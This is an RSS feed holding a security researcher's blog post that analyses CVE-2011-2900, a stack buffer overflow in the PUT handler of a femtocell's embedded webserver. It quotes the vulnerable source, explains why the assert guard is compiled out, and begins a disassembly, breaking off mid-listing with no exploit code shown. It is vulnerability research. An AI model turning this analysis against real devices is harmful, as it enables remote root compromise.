<?xml version="1.0" encoding="utf-8" ?>

<rss version="0.91" >
<channel>
<title>nion's blog</title>
<link>http://nion.modprobe.de/blog/</link>
<description>Imagine a cool title here</description>
<language>en</language>
<image>
        <url>http://nion.modprobe.de/blog/templates/default/img/s9y_banner_small.png</url>
        <title>RSS: nion's blog - Imagine a cool title here</title>
        <link>http://nion.modprobe.de/blog/</link>
        <width>100</width>
        <height>21</height>
    </image>

<item>
    <title>Exploiting the Ubiquisys/SFR femtocell webserver (wsal/shttpd/mongoose/yassl embedded webserver)</title>
    <link>http://nion.modprobe.de/blog/archives/704-Exploiting-the-UbiquisysSFR-femtocell-webserver-wsalshttpdmongooseyassl-embedded-webserver.html</link>

    <description>
        As a part of our &lt;a href=&quot;https://www.blackhat.com/html/bh-us-11/bh-us-11-briefings.html#Borgaonkar&quot;&gt;research&lt;/a&gt; on the SFR femtocell I had the pleasure to look for a vulnerability&lt;br /&gt;
that might assist us in compromising remote devices.&lt;br /&gt;
One of the obvious software targets of the box has been the webserver (wsal) that is used to serve some web pages used for configuring the device.&lt;br /&gt;
As all other services on the box, it runs with root privileges. The device itself runs a Linux 2.6.18-ubi-sys-V2.0.17 on an ARM926EJ (ARMv5).&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;The bug (CVE-2011-2900):&lt;/strong&gt;&lt;br /&gt;
I started reversing the binary when at some point Kevin pointed out a string in the binary that hinted towards the Open Source project&lt;br /&gt;
&lt;a href=&quot;http://sourceforge.net/projects/shttpd/&quot;&gt;shttpd&lt;/a&gt; (which has been relabeled in &lt;a href=&quot;http://code.google.com/p/mongoose/&quot;&gt;mongoose&lt;/a&gt; at some point and that is also the basis for the &lt;a href=&quot;http://www.yassl.com/yaSSL/Products-yassl-embedded-web-server.html&quot;&gt;yassl embedded webserver&lt;/a&gt;.&lt;br /&gt;
So this made things a lot easier. As the web service is fairly powerful (including CGI, SSI support) I first looked for non-software related bugs.&lt;br /&gt;
From shttpd.c/defs.h:&lt;br /&gt;
&lt;div class=&quot;c geshi&quot; style=&quot;text-align: left&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #993333;&quot;&gt;struct&lt;/span&gt; vec &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #993333;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #993333;&quot;&gt;char&lt;/span&gt; &amp;#160; &amp;#160; &amp;#160;&lt;span style=&quot;color: #339933;&quot;&gt;*&lt;/span&gt;ptr&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #993333;&quot;&gt;int&lt;/span&gt; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; len&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #993333;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #993333;&quot;&gt;struct&lt;/span&gt; vec known_http_methods&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;GET&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &amp;#160; &amp;#160; &lt;span style=&quot;color: #0000dd;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;POST&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &amp;#160; &amp;#160;&lt;span style=&quot;color: #0000dd;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;PUT&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &amp;#160; &amp;#160; &lt;span style=&quot;color: #0000dd;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;DELETE&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &amp;#160;&lt;span style=&quot;color: #0000dd;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;HEAD&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &amp;#160; &amp;#160;4&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;NULL&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &amp;#160; &amp;#160; &amp;#160;0&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;br /&gt;
Hmm, that&#039;s already more methods than expected. So it made sense to look at those methods.&lt;br /&gt;
&lt;br /&gt;
As the webserver can execute CGI I assumed PUT might be interesting in order to push stuff onto the device and execute it.&lt;br /&gt;
However, it turned out that the web directory is mounted read-only (and the code gracefully handles path traversal attempts).&lt;br /&gt;
DELETE died for the same reason and it seemed unlikely that this would result in code execution anyway.&lt;br /&gt;
Back to software vulnerabilities and the PUT functionality.&lt;br /&gt;
&lt;br /&gt;
Let&#039;s have a look at the function handling PUT requests (io_dir.c/put_dir()):&lt;br /&gt;
&lt;div class=&quot;c geshi&quot; style=&quot;text-align: left&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #993333;&quot;&gt;int&lt;/span&gt; put_dir&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #993333;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #993333;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;*&lt;/span&gt;path&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #993333;&quot;&gt;char&lt;/span&gt; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;buf&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;FILENAME_MAX&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #993333;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #993333;&quot;&gt;char&lt;/span&gt; &amp;#160; &amp;#160; &amp;#160;&lt;span style=&quot;color: #339933;&quot;&gt;*&lt;/span&gt;s&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;*&lt;/span&gt;p&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #993333;&quot;&gt;struct&lt;/span&gt; stat &amp;#160; &amp;#160; st&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; size_t &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;len&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;s &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; p &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; path &lt;span style=&quot;color: #339933;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #0000dd;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;p &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; strchr&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;s&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&#039;/&#039;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;!=&lt;/span&gt; NULL&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt; s &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;++&lt;/span&gt;p&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; len &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; p &lt;span style=&quot;color: #339933;&quot;&gt;-&lt;/span&gt; path&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; assert&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;len &lt;span style=&quot;color: #339933;&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&quot;color: #993333;&quot;&gt;sizeof&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;buf&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #993333;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; memcpy&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;buf&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; path&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; len&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; buf&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;len&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&#039;&lt;span style=&quot;color: #006699; font-weight: bold;&quot;&gt;\0&lt;/span&gt;&#039;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;my_stat&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;buf&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;&amp;amp;&lt;/span&gt;st&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;-&lt;/span&gt;1 &lt;span style=&quot;color: #339933;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; my_mkdir&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;buf&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; 0755&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;!=&lt;/span&gt; 0&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;-&lt;/span&gt;1&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;p&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color: #0000dd;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&#039;&lt;span style=&quot;color: #006699; font-weight: bold;&quot;&gt;\0&lt;/span&gt;&#039;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #b1b100;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;0&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;1&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;br /&gt;
The function is pretty simple. It loops over the URL path and tries to create each directory of the complete path (Similar to mkdir -p).&lt;br /&gt;
To do that, the path chunk is copied into the stack buffer &lt;strong&gt;buf&lt;/strong&gt; before it is passed to stat and mkdir.&lt;br /&gt;
The &lt;strong&gt;len&lt;/strong&gt; argument of the memcpy operation is determined by the distance between two consecutive / characters.&lt;br /&gt;
Assuming that path can be longer than FILENAME_MAX (+/- a few bytes overhead for the rest of the URL), this is a classical stack-based buffer overflow and&lt;br /&gt;
seemed like a nice candidate for code execution.&lt;br /&gt;
&lt;br /&gt;
In this code snippet the len argument is guarded to not overflow (assert statement). However, assert is only in place if the binary was not compiled with -DNDEBUG, right? &lt;img src=&quot;http://nion.modprobe.de/blog/templates/default/img/emoticons/laugh.png&quot; alt=&quot;:-D&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; I haven&#039;t seen any calls to assert wrapper function while looking at the disassembly of wsal.&lt;br /&gt;
But let&#039;s check this...&lt;br /&gt;
The following output is generated using the &lt;a href=&quot;http://radare.org&quot;&gt;radare&lt;/a&gt;.&lt;br /&gt;
If you&#039;re on linux, you need a multi-arch reversing tool chain (with unix philosophy in mind) and you can&#039;t or don&#039;t want to use IDA, I can highly recommend looking at this tool (even though it&#039;s still work-in-progress).&lt;br /&gt;
&lt;div class=&quot;asm geshi&quot; style=&quot;text-align: left&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;0x0000b454&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt;&amp;gt; pD 100@sym&lt;span style=&quot;color: #339933;&quot;&gt;.&lt;/span&gt;put_dir&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x0007d898 &amp;#160;sym&lt;span style=&quot;color: #339933;&quot;&gt;.&lt;/span&gt;put_dir&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x0007d898 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;f0412de9 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;push&lt;/span&gt; &lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#123;&lt;/span&gt;r4&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; r5&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; r6&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; r7&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; r8&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; lr&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x0007d89c &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;41dd4de2 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;sub&lt;/span&gt; &lt;span style=&quot;color: #00007f;&quot;&gt;sp&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #00007f;&quot;&gt;sp&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; #&lt;span style=&quot;color: #0000ff;&quot;&gt;4160&lt;/span&gt; &lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;; 0x1040&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 0x0007d8a0 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;18d04de2 &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #00007f; font-weight: bold;&quot;&gt;sub&lt;/span&gt; &lt;span style=&quot;color: #00007f;&quot;&gt;sp&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #00007f;&quot;&gt;sp&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; #&lt;span style=&quot;color: #0000ff;&quot;&gt;24&lt;/span&gt; &lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;; 0x18&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; 